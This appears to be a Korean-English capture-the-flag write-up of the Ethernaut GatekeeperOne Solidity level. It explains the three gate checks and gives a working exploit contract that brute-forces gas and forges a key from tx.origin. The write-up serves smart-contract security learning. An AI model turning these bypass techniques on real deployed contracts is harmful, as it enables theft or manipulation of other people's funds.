728x90
Description
Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from the Telephone and Token levels.
- You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Scenario
- gateOne을 통과하기 위해서는 msg.sender와 tx.origin이 달라야 한다. 이것은 바로 contract의 함수를 호출하지 않고 어떤 컨트랙트를 배포해서 그 컨트랙트로 하여금 호출하도록 하면 된다.
- gateTwo를 통과하기 위해서는 잔여 가스량이 8191의 배수여야 한다. enter 함수 호출 직전까지 i 만큼 쓰인다면, i+8191*n 만큼 가스를 주면 된다. i는 정확히 알기 힘드므로 반복문을 돌려 bruteforce를 한다.
- gateThree를 통과하기 위해서는 조건을 통과할 gatekey를 구해야 한다.
- 첫 번째 require문: gatekey의 하위 4바이트와 2바이트가 같아야 한다 -> gatekey의 3,4 바이트는 0이어야 한다.
- 두 번째 require문: gatekey의 하위 4바이트와 gatekey 전체 8바이트가 같으면 안된다 -> gatekey의 상위 4바이트는 0이면 안된다.
- 세 번째 require문: gatekey의 하위 4바이트는 tx.origin(내 주소)의 하위 2바이트와 같아야 한다.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
address level = 0x11bB12fb47D6B754f66ED7Da9Ed6C7a37E4c5901;
constructor() {
bytes8 gatekey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);
for (uint i = 0; i < 500 ; i++) {
(bool success, ) = level.call{gas: i+8191*3}(abi.encodeWithSignature("enter(bytes8)", gatekey));
if(success){
break;
}
}
}
}
728x90